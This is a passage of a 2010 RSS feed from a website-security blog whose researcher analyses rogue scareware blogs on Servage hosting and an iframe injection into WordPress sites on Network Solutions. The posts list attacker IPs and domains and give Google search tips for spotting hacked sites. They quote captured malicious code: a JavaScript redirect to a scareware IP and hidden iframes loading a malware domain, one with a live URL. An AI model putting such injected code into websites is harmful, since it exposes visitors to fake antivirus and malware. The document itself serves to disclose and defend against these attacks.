<p>The first one (<span style="color: #993300;"><em>hippocounter</em></span>) seems to be a real statistics script. However it&#8217;s a hackers&#8217; own statistics on their own server.  It has an alternative domain name <span style="color: #993300;"><em>hippocounter .com</em></span> that was created on January 11, 20100. But when Google had <a href="http://www.google.com/safebrowsing/diagnostic?site=hippocounter.com">blacklisted the <em>.com</em> domain</a> hackers&#8217; registered the <strong><em>.info</em></strong> domain (March 3, 2010) and used it since then. Both domains point at the same site on server with IP <strong>96 .9 .177 .21</strong> (Pennsylvania &#8211; Scranton &#8211; Network Operations Center Inc).</p>
<p>The second script from the  <em><strong>.in</strong></em> domain is the one that actually redirects visitors to scareware sites.</p>
<p><code>if (document.referrer.length &gt; 0) {top.location.href='http://<strong>91.188.59.166</strong>/main.php?land=20&amp;affid=95200'}</code></p>
<h3 id="bkcnet">Latvian AS6851 (BKCNET) network</h3>
<p>The IP address in the malicious URL changes almost every day:  <span style="color: #993300;">91.188.59.167</span>,  <span style="color: #993300;">91.188.60.63</span>,  <span style="color: #993300;">91.188.60.63</span>,<span style="color: #993300;"> 91.188.60.65</span>, <span style="color: #993300;">91.188.60.69</span> etc. but they all belong to the AS6851 (BKCNET) network. This network is a known source of multiple malware attacks:  <a href="http://www.malwareurl.com/listing.php?as=AS6851&amp;active=on">malwareUrl report</a>, <a href="http://www.google.com/safebrowsing/diagnostic?site=AS:6851" target="_blank">Google&#8217;s Safe Browsing report</a>.</p>
<p>This network is identified as <em>Latvia Riga Docsis Ip Pool For Cable Customers</em>. This means that most likely the IPs belong to regular users of a cable Internet Service Provider in Latvia. Moreover, the IPs are dynamically assigned from a pool of available IPs &#8211; that&#8217;s probably why hackers change them in the redirection script.</p>
<p>I wonder what prevents the police to catch the hackers? With cable ISPs, the physical location of the client IPs should be easily traceable. Or am I too naive?</p>
<h3 id="in">Malicious .in domains</h3>
<p>Let&#8217;s get back to that malicious external script found in the rogue blogs. To prevent blacklisting, hackers register new domains almost every day.  They are all <strong><em>.in</em></strong> domains and they point to <strong>5</strong> servers on the <a href="http://www.google.com/safebrowsing/diagnostic?site=AS:47869" target="_blank">AS47869</a> (NETROUTING &#8211; Netherlands) network.</p>
<p><code><strong>94.228.220.93:</strong><br />
dahaloho .in, kanakaba .in, hachapurnja .in, lahhangar .in, emonabin .in,<br />
opnalona .in, gamrin .in, loomoom .in, galorobap .in, oppp .in, polofogoma .in,<br />
jajabin .in<br />
<strong>94.228.220.95:</strong><br />
ownfoxdomains.in<br />
<strong>94.228.209.133</strong><br />
newstatsgate .in, ownsitecounter .in, gettruecount .in, ownfreestats .in,<br />
celebsfinectpics .in, getstatsview .in<br />
<strong>94.228.209.134</strong><br />
ownviewpoint .in, ownuniqchecker .in, getpiccount .in, checkpicstats .in,<br />
getuniqinfo .in, checkvisits .in, owncheckuniq .in<br />
<strong>94.228.209.136</strong><br />
adstatsviewer .in, newpeoplecheck .in, adinfoblock .in, getcounters .in,<br />
adchecker .in, getfreestats .in, blogpics3 .in, newpicstats .in, getuniqchecker .in,<br />
ownlaststats .in</code></p>
<p>Among them, there are two specialized domains:  <em><span style="color: #993300;">celebsfinectpics .in</span></em> is used exclusively in <a href="http://blog.unmaskparasites.com/2010/04/28/hackers-abuse-servage-hosting-to-poison-google-image-search/#celebsfinectpics">celebsfinectpics.com sites</a> (also <span style="color: #993300;">94.228.209.133</span>) and <em><span style="color: #993300;">blogpics3 .in</span></em> is used in the <a href="http://blog.unmaskparasites.com/2010/04/28/hackers-abuse-servage-hosting-to-poison-google-image-search/#blogger">malicious Blogger blogs</a>.</p>
<h3 id="tips">Google Tips</h3>
<p>When hackers create rogue content on your site in order to poison  search engine results, you can use search engine to discover such a  content.</p>
<p>1. Try the <strong>site:</strong> command on Google. It will display all  indexed pages on your site (e.g. <a href="http://www.google.com/search?q=site%3Aexample.com" target="_blank">site:example.com</a> &#8211; replace <em>example.com</em> with  your own site&#8217;s domain name). If your site is relatively small and you can browse through all the search results, you&#8217;ll  be able to find links to rogue web pages if Google has indexed them.</p>
<p style="padding-left: 30px;">1.1. If  you are a Servage client, you can use the following command to check  your site for the rogue blogs described in this article: <span style="text-decoration: underline;"><em>site:example.com  inurl:entry</em></span> (again, replace <em>example.com</em> with your site&#8217;s domain  name)</p>
<p>2. Regularly check the following sections of <a href="https://www.google.com/webmasters/tools/" target="_blank">Google  Webmaster Tools</a>: <strong>Top search queries</strong>, <strong>Keywods</strong> and <strong>Internal  links</strong> &#8211; you might spot irrelevant keywords and fishy links there.</p>
<h3 id="webmasters">To webmasters</h3>
<p>As you can see, if you don&#8217;t look properly after you site, don&#8217;t be surprised if you eventually find it actively abused by hackers and blacklisted by Google. And this situation with Servage shows that your hosting service provider will not look after your sites either. Moreover, some hosting providers may have serious security issues that allow hackers mess with their clients&#8217; sites for months and years.</p>
<p>If your website is happened to be on a shared server, you should be prepared to deal with all sorts of security problems yourself. The key factors are regular monitoring and reliable backup/restore strategy.  This way you will be able to detect problems before they incur serious damage and easily recover your site to the most recent clean state. A clever backup/restore strategy will also help you seamlessly move to another hosting provider if you find that your current provider can&#8217;t guarantee secure shared hosting environment.</p>
<h3 id="act">Time to act</h3>
<p>As a security researcher, I&#8217;m trying to unearth facts that can help all involved parties (webmasters, Servage, Google) mitigate the effects of hacker attacks. I believe, that such posts can make a difference.</p>
<p>I hope that after reading this posts:</p>
<ul>
<li> webmasters will check their sites to make sure they are not affected</li>
<li>hosting providers will try to find out whether they have similar issues on their servers or not</li>
<li>and guys from Google will try to make it harder to poison their search results, etc.</li>
</ul>
<p>What do you think?</p>
<p><strong><span style="color: #888888;">Related posts:</span></strong></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2010/04/28/hackers-abuse-servage-hosting-to-poison-google-image-search/">Hackers  Abuse Servage Hosting to Poison Google Image Search</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/03/17/internals-of-rogue-blogs/">Internals    of Rogue Blogs</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/11/27/rogue-blogs-regirect-search-traffic-to-bogus-av-sites-part-2/">Rogue    blogs redirect search traffic to bogus AV sites. Part 2</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/11/26/rogue-blogs-regirect-search-traffic-to-bogus-av-sites-part-1/">Rogue    blogs regirect search traffic to bogus AV sites. Part 1</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/01/26/bety-php-hack-part-2-black-hats-in-action/">Bety.php   Hack. Part 2. Black Hats in Action</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2010/05/04/more-about-the-rogue-image-blogs-on-servage-network/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Hackers Abuse Servage Hosting to Poison Google Image Search</title>
		<link>http://blog.unmaskparasites.com/2010/04/28/hackers-abuse-servage-hosting-to-poison-google-image-search/</link>
		<comments>http://blog.unmaskparasites.com/2010/04/28/hackers-abuse-servage-hosting-to-poison-google-image-search/#comments</comments>
		<pubDate>Wed, 28 Apr 2010 18:57:10 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[black hat seo]]></category>
		<category><![CDATA[celebsfinectpics]]></category>
		<category><![CDATA[hippocounter]]></category>
		<category><![CDATA[Image Search]]></category>
		<category><![CDATA[redirects]]></category>
		<category><![CDATA[SafeSearch]]></category>
		<category><![CDATA[scareware]]></category>
		<category><![CDATA[Servage]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=613</guid>
		<description><![CDATA[Two weeks ago I blogged about serious security problems of Network Solutions&#8216; shared hosting service. This time I&#8217;ll turn to another big shared hosting provider &#8211; Servage.
It&#8217;s not the first time I write about Servage. Actually this will be the 4th article in the series about rogue blogs on Servage network. It all started in [...]]]></description>
			<content:encoded><![CDATA[<p>Two weeks ago I blogged about serious <a href="http://blog.unmaskparasites.com/2010/04/11/network-solutions-and-wordpress-security-flaw/">security problems of Network Solutions</a>&#8216; shared hosting service. This time I&#8217;ll turn to another big shared hosting provider &#8211; <a href="http://www.servage.net">Servage</a>.</p>
<p>It&#8217;s not the first time I write about Servage. Actually this will be the 4th article in the series about rogue blogs on Servage network. It all started in November when I wrote about <a href="http://blog.unmaskparasites.com/2009/11/26/rogue-blogs-regirect-search-traffic-to-bogus-av-sites-part-1/">malicious blogs created in subdirectories of legitimate websites</a>. The blogs poisoned Google search results for millions of relatively  unpopular keywords (the long tail) redirecting visitors to scareware  websites. In the second article, I showed the <a href="http://blog.unmaskparasites.com/2009/11/27/rogue-blogs-regirect-search-traffic-to-bogus-av-sites-part-2/">history of those rogue blogs</a> (the first generation have dates in April of 2009) and how most of them (90%+) were found on Servage network. In the third article, I wrote about the <a href="http://blog.unmaskparasites.com/2010/03/17/internals-of-rogue-blogs/">internals of those rogue blogs</a> and their malicious features.</p>
<p>A few days ago I found a new generation of rogue blogs on Servage network.<br />
<span id="more-613"></span></p>
<h3>Here are the details ..</h3>
<p>I was going over suspicious URLs detected by <a href="http://www.UnmaskParasites.com">Unmask Parasites</a> and found one page that looked fishy. It&#8217;s report paged looked like this:</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2010/04/hippocounter-and-adinfoblock.png" border="0" alt="hippocounter and adinfoblock" /></div>
<p>When I opened it in a web browser (in Linux with NoScript to minimize risks), it resembled the rogue blogs that I had found on Servage network sometime ago: a blog with multiple posts that consisted only of a few images hot linked from other sites and no meaningful information. All its pages redirected visitors to a fake anti-virus site. And the blog definitely didn&#8217;t belong to the site at the root of the domain.</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2010/04/rogue-blog.jpg" border="0" alt="rogue blog" /></div>
<p>At the same time it was clear that this new site was different:</p>
<ul>
<li>Different URL structure</li>
<li>Images interspersed with textual keywords</li>
<li>No categories</li>
<li>Different malicious script</li>
</ul>
<p>Any way, I decided to check the site IP &#8211; it belong to Servage network! Was is a coincidence? To find it out I decided to try to find any other similar blogs.</p>
<h3 id="searches">Google searches</h3>
<p>The URL structure of the blog was quite unique (e.g. <span style="color: #993300;"><em>example.com/someword1234/?x=y:10&amp;paged=4</em></span>) so I tried to use the <strong>allinurl:</strong> Google search operator.</p>
<p>The <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Ax%3Dy%3A10+paged" target="_blank">allinurl:x=y:10 paged</a> query returned  <span style="color: #333333;"><strong>16,000,000</strong></span> results! <span style="text-decoration: underline;">All of them </span>(at least the first 1,000 that Google allows to see) led to rogue blogs similar to the one I had just found.</p>
<p>Having analyzed the URL structure of different blogs, I came up with many more search queries. E.g.:</p>
<ul>
<li><a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Ax%3Dy%3A09+paged" target="_blank">allinurl:x=y:09 paged</a> &#8211; (blog pages for posts published in 2009) <span style="color: #333333;"><strong>5,190,000</strong></span> results</li>
<li><a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Ax%3Dy%3A10+m%3A04+paged" target="_blank">allinurl:x=y:10 m:04 paged</a> &#8211; (blog pages for posts published in April of 2010) <span style="color: #333333;"><strong>3,850,000</strong></span> results</li>
<li><a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Ax%3Dy%3A10+m%3A03+paged" target="_blank">allinurl:x=y:10 m:03 paged</a> &#8211; (blog pages for posts published in March of 2010) <span style="color: #333333;"><strong>2,600,000</strong></span> results</li>
</ul>
<p><span style="color: #333333;"><em>Note, the numbers of search results reported by Google may significantly vary depending on internal Google&#8217;s factors (e.g. data centers that were used to prepare them).</em></span></p>
<h3 id="ips">Analysis of IP addresses</h3>
<p>Since search results for different queries don&#8217;t completely overlap, I managed to compile a list of <strong>1130</strong> unique domain names of rogue blogs &#8211; enough to start the analysis of their IP addresses.</p>
<p><strong><span style="color: #333333;">638</span></strong> unique IPs</p>
<p><strong><span style="color: #333333;">936</span></strong> unique domains evenly distributed in the range of <span style="color: #333333;"><strong>77.232.66.0</strong></span> &#8211; <span style="color: #333333;"><strong>77.232.92.255</strong></span> &#8211; Servage.net</p>
<p><span style="color: #333333;"><strong>162</strong></span> unique domains evenly distributed in the range of <strong><span style="color: #333333;">92.61.146.0</span></strong> &#8211; <span style="color: #333333;"><strong>92.61.153.255</strong></span> &#8211; Servage.net</p>
<p>The rest <span style="color: #333333;"><strong>32</strong></span> domains either don&#8217;t resolve (7) or exist in a parked state thus pointing to servers of parking services. No wonder, during the several months of this attack some domains could have expired and some sites ceased to exist. A few more sites no longer have the rogue blogs (probably moved from Servage when they detected the hack) and only <strong>3</strong> (less than 0.3%) sites from different networks contained the rogue blogs.</p>
<p><span style="color: #333333;"><strong>97%</strong></span> of the rogue blogs are hosted by Servage in subdirectories of legitimate websites.</p>
<h3 id="blogcount">How many rogue blogs are there?</h3>
<p>Of course, those <span style="color: #333333;"><strong>1130</strong></span> hacked sites are only a subset of all hacked sites with the new type of malicious blogs. Lets estimate the whole number.</p>
<p>The <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Ax%3Dy%3A10+m%3A03+paged" target="_blank">allinurl:x=y:10 m:03 paged</a> search returns 2,600,000 results. This provides us with the idea about the number of indexed archive pages for posts published in March of 2010.  Most of the blogs have less than 40 such pages, few have more than 100 pages, and the largest number of archive pages of March posts I saw was 144.</p>
<p>So let&#8217;s be over-optimistic and assume that Google has indexed 150 pages on each blog that contain the following sting in their URLs:<span style="color: #993300;"> ?x=y:10;m:03&amp;paged=&lt;num&gt;</span></p>
<p><code>2,600,000/150 = 17,333</code></p>
<p>More than <strong>17,000</strong> legitimate site of Servage clients contain subdirectories where criminals have created  rogue blogs that poison millions of search results and redirect unsuspecting web searchers to scareware sites that push Fake AV software. And if we take more realistic number of 50 indexed archive pages per site in March, this will give us <strong>50,000+</strong> unique blogs. (Well, some sites host two rogue blogs in different subdirectories but it still leaves us with <strong>25,000+</strong> compromised legitimate sites!)</p>
<p>Another estimate is based on the numbers in the names of subdirectories. If they are unique throughout all the blogs, this will give us about <strong>10,000</strong> unique rogue blogs (the largest number I saw was 10345). Google could have indexed duplicates of archive pages with alternative URLs, so this number looks credible.</p>
<p>Note, these numbers don&#8217;t include <a href="http://blog.unmaskparasites.com/2009/11/27/rogue-blogs-regirect-search-traffic-to-bogus-av-sites-part-2/">previous generations</a> of rogue blogs that are still there.</p>
<h3 id="pagecount">How many indexed malicious pages are there?</h3>
<p>Now let&#8217;s estimate the number of the malicious landing pages indexed by Google.</p>
<p>Lets take the numbers of indexed archive pages for each month of this attack (November 2009 through April 2010):</p>
<p><code>April:    4,240,000<br />
March:    2,600,000<br />
February: 1,010,000<br />
January:  1,270,000<br />
December:   119,000<br />
<span style="text-decoration: underline;">November:    32,800</span><br />
Total:    9,271,800</code></p>
<p>Each archive page contains 4-5 individual posts.  This means that there should be at least <strong>36</strong> million individual pages. Or <strong>45</strong>+ <strong>million</strong> pages including archive pages. This is optimistic estimate.</p>
<p>But if we take the <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Ax%3Dy%3A10+paged">allinurl:x=y:10 paged</a> search that returns indexed archive pages only in 2010, we get <strong>16,000,000</strong> results, which gives us <strong>80 million</strong> malicious pages in just four months of this year.</p>
<h3 id="longtail">The loooong tail</h3>
<p>Each page is optimized for several different search keywords (main keywords and a dozen of keyword variations).  This means that search results for more than <strong>100 million</strong> search queries are poisoned by this particular attack. Of course, most of those keywords are relatively unpopular. Some of them may attract just a few searches a day, some may attract only one search a month, and some keywords may not be used at all, but if we take into account the volume of Google searches and the quantity of poisoned search results, I can roughly estimate that every month more than a million of searches return results that contain links to those rogue blogs.</p>
<h3 id="exposure">Exposure of poisoned search results</h3>
<p>What are the chances that searchers will actually see or click on the poisoned search results? After all, malicious blogs have to compete with legitimate resources for the same keywords. And if the poisoned link is displayed on the 10th or even 3rd page of search results, hardly anyone will see it.</p>
<p>Well, with regular web search the situation is more or less normal. Only about <span style="color: #333333;"><strong>5</strong></span>% of tested keywords produce one or two poisoned links on the first two pages (top 20) of Google search results. Usually on the second page. However some specific queries (like this one <a href="http://www.google.com/search?&amp;q=woman+with+a+broken+neck+and+leg+braces" target="_blank">woman with a broken neck and leg braces</a>, beware!) return the first pages of search results that consist <strong>exclusively</strong> of links to the rogue blogs described in this article.</p>
<h3 id="imagesearch">Image Search</h3>
<p>However, these blogs contain a lot of images for a reason. They primarily target image searches. And I should also mention that about half of the keywords are of adult nature. So most pages contain very explicit images and Google Image search excludes those blogs from searches with strict and moderate (default) filtering. Only a very small percentage of rogue blogs with relevantly moderate content make it into default image search results.</p>
<p>But once you turn off the <span style="color: #333333;"><strong>SafeSearch</strong></span> (after all the content of the blogs suggests that they are after porn searchers who disable the SafeSearch filtering), you&#8217;ll get poisoned search results on the first page for almost every keyword found on the malicious landing pages. Moreover, for many of the searches, more than <span style="color: #333333;"><strong>50</strong></span>% of search results on the first pages point to the rogue blog pages.</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2010/04/safesearch-off.gif" border="0" alt="SafeSearch Off" /></div>
<p>With turned off filtering, you don&#8217;t have to search for adult content to be exposed to poisoned search results. Even completely innocent searches like &#8220;<em>Barry Manilow</em>&#8221; or &#8220;<em>Trade Show British Columbia</em>&#8221; will get you a few (if not all) malicious links on the first pages of Google Image search results. As you can see, not only porn sites can be dangerous. Even changing Google search preferences to &#8220;porn-friendly&#8221; mode may be dangerous.</p>
<h3 id="safebrowsing">Safe Browsing Warnings</h3>
<p>In Google&#8217;s defense, I can say that a lot of the rogue blogs have been blacklisted already and Google would display the &#8220;<em>This site may harm your computer</em>&#8221; warning next to their web search results. However, this warning don&#8217;t appear in Image Search (although when people click on the blacklisted results they see the warning page anyway) and only about <strong>30%</strong> of the malicious blogs are currently flagged. This means that web surfers won&#8217;t see any warnings when the click on the rest <strong>70%</strong> (tens of millions) of the poisoned search results. I hope this article will help improve this ratio.</p>
<h3 id="blogger">Blogger</h3>
<p>Not only did hackers created rogue blogs in subdirectories of legitimate websites on Servage network, they also experimented with similar Blogger blogs. They created a lot of blogs with URLs like: <em><span style="color: #993300;">candace8711.blogspot.com</span></em> and <em><span style="color: #993300;">robyn2123.blogspot.com</span></em> &#8211; 20 blogs under a single Blogger account.</p>
<p>For Blogger blogs, hackers used special domain name in scripts that redirected to Fake AV sites: <span style="color: #993300;"><em>blogpics3 .in</em></span></p>
<p>But it looks like Blogger blogs didn&#8217;t work as well as blogs on established legitimate sites, and they seems to have been abandoned in the beginning of April. Since then, Blogger team has closed a lot of such malicious blogs (for example the blogs I specified above, had been online just a few days ago &#8211; now they are gone).</p>
<h3 id="celebsfinectpics">CelebsFineCtPics</h3>
<p>Another alternative location of  rogue blogs is the <em><span style="color: #993300;">celebsfinectpics .com</span></em> site. It has many subdomains like <em><span style="color: #993300;">kara10181 .celebsfinectpics .com</span></em> or <em><span style="color: #993300;">dann3841 .celebsfinectpics .com</span></em>. They are just the same rogue blogs redirecting users to scareware sites. The only difference is they are hosted on the hackers&#8217; own server.</p>
<p>The domain name, used in the malicious scripts on the <span style="color: #993300;"><em>celebsfinectpics .com</em></span> blogs is <em><span style="color: #993300;">celebsfinectpics .in</span></em>.</p>
<p>This <em><span style="color: #993300;">celebsfinectpics .com</span></em> domain resolves to <strong>94 .228 .209 .133.</strong> This is one of the IPs where the malicious scripts on the rogue blogs point to.</p>
<p>Apparently, those subdomains didn&#8217;t work well for criminals too. I don&#8217;t see any new posts after April 22.</p>
<h3 id="summary">Summary</h3>
<h4 id="servage">Servage</h4>
<p>Servage hosting provider has serious security problems that allow hackers to create thousands of rogue blogs in subdirectories of legitimate websites of Servage clients. This happens at least since April of 2009. Servage have been notified about it a few months ago but their support never acknowledged the problem and blamed it on users, which is hard to believe in when the attack is limited to Servage servers and affects thousands of websites. Moreover, Servage hasn&#8217;t done anything to stop the attack and evict hackers from their servers.</p>
<h4 id="google">Black-hats vs Google</h4>
<p>Black-hat SEO guys have figured an effective way to spam Google Image search and now their spammy and malicious links dominate on the first pages of search result for millions of queries. Google should definitely tweak its ranking algorithms for Image Search or improve its anti-spam efforts.</p>
<p>Google can start by delisting subdirectories with the rogue blogs on legitimate websites described here. It&#8217;s quite simple to identify them all:</p>
<ul>
<li>&lt;site_domain.tld&gt;/word\d{4,5}/</li>
<li>AS29671 (SERVAGE) network</li>
<li>with external scripts from <span style="color: #993300;"><em>hippocounter .info</em></span> or <em><span style="color: #993300;">hippocounter .com</span></em></li>
</ul>
<p>Or use the <a href="#searches">searches</a> that I mentioned above &#8211; they are quite accurate.</p>
<p><span style="color: #333333;">(<em>Consider this article as a bulk spam and malware report &#8211; I&#8217;m not going to <a href="http://google.com/webmasters/tools/spamreport">report</a> every URL individually</em>)</span></p>
<h4 id="safesearch">SafeSearch</h4>
<p>Turning off the SafeSearch option in Google search (especially in Image search) is a dangerous practice. It significantly increases risk of clicking on poisoned search results that lead to attack sites even when you search for something completely innocent.</p>
<h3 id="feedback">Have your say</h3>
<p>What do you think about hosting providers that allow such massive hacks and don&#8217;t address them for a long time? Did you ever stumble across search results pages where most of the links point to malicious or outright spammy pages?</p>
<p>Your <a href="#respond">comments are welcome</a>. It would be especially interesting to hear from Servage and Google.</p>
<h4 id="announce">To be continued&#8230;</h4>
<p>In the <a href="http://blog.unmaskparasites.com/2010/05/04/more-about-the-rogue-image-blogs-on-servage-network/">next post</a> I&#8217;ll post more details about those rogue blogs.</p>
<p><span style="color: #888888;"><strong>Related posts:</strong></span></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2010/05/04/more-about-the-rogue-image-blogs-on-servage-network/">More About the Rogue Image Blogs on Servage Network… </a></li>
<li><a href="http://blog.unmaskparasites.com/2009/11/26/rogue-blogs-regirect-search-traffic-to-bogus-av-sites-part-1/">Rogue  blogs regirect search traffic to bogus AV sites. Part 1</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/11/27/rogue-blogs-regirect-search-traffic-to-bogus-av-sites-part-2/">Rogue  blogs redirect search traffic to bogus AV sites. Part 2</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/03/17/internals-of-rogue-blogs/">Internals  of Rogue Blogs</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/01/26/bety-php-hack-part-2-black-hats-in-action/">Bety.php  Hack. Part 2. Black Hats in Action</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2010/04/28/hackers-abuse-servage-hosting-to-poison-google-image-search/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Network Solutions and WordPress Security Flaw</title>
		<link>http://blog.unmaskparasites.com/2010/04/11/network-solutions-and-wordpress-security-flaw/</link>
		<comments>http://blog.unmaskparasites.com/2010/04/11/network-solutions-and-wordpress-security-flaw/#comments</comments>
		<pubDate>Sun, 11 Apr 2010 23:16:45 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[alkoltashov]]></category>
		<category><![CDATA[binglbalts.com]]></category>
		<category><![CDATA[hidden links]]></category>
		<category><![CDATA[iframe]]></category>
		<category><![CDATA[mainnetsoll.com]]></category>
		<category><![CDATA[Network Solution]]></category>
		<category><![CDATA[networkads.net]]></category>
		<category><![CDATA[obfuscated script]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[WebEasySearch]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[wp-config.php]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=594</guid>
		<description><![CDATA[I first noticed this hidden iframe  from hxxp://networkads .net/ grep/ on April 7.  It instantly drew my attention with these weird &#8220;iframe_style&#8221; scripts in Unmask Parasites reports (I even thought it was a bug in Unmask Parasites, but when I checked the infected site, I found those scripts there).

However it was a single [...]]]></description>
			<content:encoded><![CDATA[<p>I first noticed this hidden iframe  from <span style="color: #993300;">hxxp://networkads .net/ grep/</span> on April 7.  It instantly drew my attention with these weird &#8220;iframe_style&#8221; scripts in <a href="http://www.UnmaskParasites.com">Unmask Parasites</a> reports (I even thought it was a bug in Unmask Parasites, but when I checked the infected site, I found those scripts there).</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2010/04/weird-scripts.png" border="0" alt="weird scripts" /></div>
<p>However it was a single incident and I didn&#8217;t see any obvious pattern back then. Two days later, when I noticed <a href="http://blog.sucuri.net/2010/04/mass-infection-of-wordpress-blogs-at.html">David&#8217;s (Sucuri Security) article</a> about this very issue and the <a href="http://krebsonsecurity.com/2010/04/hundreds-of-wordpress-blogs-hit-by-networkads-net-hack/">follow-up by Brian Krebs</a>, I decided <a href="http://twitter.com/unmaskparasites/status/11907616120">to take a closer look </a>at it. What I found is quite interesting and raises a few serious questions about security of websites on shared servers.<br />
<span id="more-594"></span></p>
<h3 id="recap">Quick recap of David&#8217;s and Brian&#8217;s articles</h3>
<p>1.Many WordPress blogs on have been recently hacked. Someone has injected the following iframe that pushes <a href="http://jsunpack.jeek.org/dec/go?report=0c8505bcecd9daa4cf056f07f1b1ea8b6501d67a">malicious content</a> from <span style="color: #993300;">networkads .net</span> server</p>
<p><code>&lt;iframe style="display:none" height="0" width="1" src="hxxp://<strong>networkads .net/ grep/</strong>"&gt;&lt;/iframe&gt;</code></p>
<p>2. The injection was done via WordPress database. Hackers replaced the value of the &#8220;<strong><em>siteulr</em></strong>&#8221; option in the &#8220;<em><strong>wp_options</strong></em>&#8221; database (table prefix may be different in you case) with the iframe code:</p>
<p><code>&lt;iframe style=\"display:none\" height=\"0\" width=\" 1\" src=\"hxxp://networkads .net/ grep/\"&gt;&lt;/iframe&gt;'</code></p>
<p>3. This dumb modification of the siteurl parameter breaks most blogs (both visually and functionally) since there are many dependencies on the the siteurl parameter in WordPress. So Webmasters need to manually revert the value of this parameter to the correct site URL in their MySql database (it should be something like: <em>http://yousite.com/blogroot</em> ).</p>
<p>4. All affected sites are hosted by Network Solutions.</p>
<h3 id="findings">My findings</h3>
<h4 id="google">Google search</h4>
<p>The hack breaks HTML code. This is a typical line of HTML broken by this iframe injection:</p>
<p><code>&lt;link rel="pingback" href=""&gt;<em>&lt;iframe style="display: none" height="0" width="1" src="hxxp://networkads .net/ grep/"&gt;&lt;/iframe&gt;</em>/xmlrpc.php" /&gt;</code></p>
<p>Since most WordPress themes actively use the siteurl parameter in the &lt;head&gt; section of HTML, this broken code makes them look like this:</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2010/04/broken-blogs.gif" border="0" alt="broken blogs" /></div>
<p>which makes it possible to compose a Google search query that will return similarly hacked blogs. For example: <a href="http://www.google.com/search?hl=en&amp;q=wp-content+text/css+media+screen+xmlrpc.php+-pingback" target="_blank">wp-content text/css media screen xmlrpc.php -pingback</a> &#8211; this search produces about <strong>5,000</strong> results. Many of them point to the hacked blogs. These 5,000 of course include multiple indexed pages from the same sites, but I still could easily find more than 60 infected blogs on the first 10 pages of search results. (<em>Warning: many blogs are still infected at the moment of writing.</em>)</p>
<h4 id="netsol">Network Solutions only</h4>
<p>All those blogs are hosted by Network Solution. Not a single infected site outside of their network. This means that this specific attack is limited to Network Solutions servers.</p>
<h4 id="ips">Server  IPs</h4>
<p>Most of the infected blogs (<strong>40+</strong>) are on the server with IP address:  <strong>205.178.145.65</strong></p>
<p>I also found similarly infected blogs on <strong>16</strong> more Network Solutions&#8217; IPs:</p>
<p><code>205.178.145.85<br />
205.178.145.86<br />
205.178.145.99<br />
205.178.145.105<br />
205.178.145.116<br />
205.178.189.131<br />
206.188.192.204<br />
206.188.193.32<br />
206.188.193.63<br />
206.188.193.63<br />
206.188.193.64<br />
206.188.193.179<br />
206.188.193.195<br />
206.188.193.220<br />
206.188.193.250<br />
206.188.196.127<br />
206.188.211.27</code></p>
<h4 id="not_db_only">Not only a database hack</h4>
<p>Not only does this attack inject the iframe code into WordPress database, on certain sites hackers also inject the iframe code (slightly modified) directly into file on disks.</p>
<p><code>&lt;iframe frameborder="0" onload=' if (!this.src){ this.src="http://networkads.net/grep/"; this.height=0; this.width=0;} '&gt;&lt;/iframe&gt;</code></p>
<p>The places of injection suggest that the code was not taken from database.</p>
<h4 id="domains">Other Domains</h4>
<p><span style="color: #993300;">networkads .net</span> is not the only domain name used by this attack. Before it, hackers used <span style="color: #993300;">binglbalts .com/ grep/</span> and now they use <span style="color: #993300;">mainnetsoll .com/ grep/</span>.</p>
<p>This three domains point to the same server with IP address <strong>64.50.165.169</strong> (Lunar Pages) which seems to be a hacked dedicated (or virtual dedicated) server with several legitimate sites.</p>
<p>According to whois:</p>
<ul>
<li><strong>binglbalts .com</strong> &#8211;  created on Apr 01, 2010</li>
<li><strong>networkads .net</strong> &#8211; create on Apr 04, 2010</li>
<li><strong>mainnetsoll .com</strong> &#8211; created on Apr 10 2010</li>
</ul>
<p>Inspite of such a short history, according to Google Safe Browsing database, <a href="http://www.google.com/safebrowsing/diagnostic?site=binglbalts.com" target="_blank">binglbalts. com</a> and <a href="http://www.google.com/safebrowsing/diagnostic?site=networkads.net" target="_blank">networkads.net</a> have already changed several servers on <strong>3</strong> different networks.</p>
<p><em>Update Apr 13, 2010: It just occurred to me that this <span style="color: #993300;">mainnetsoll .com</span> domain name almost directly tell that this attack specifically targets Network Solutions (NetSol) &#8211; <span style="color: #993300;">main<strong>NetSol</strong>l .com</span></em></p>
<h4 id="script">Update: obfuscated script</h4>
<p>When I published this article I checked the compromised sites once more and discovered this obfuscated script on one of them:</p>
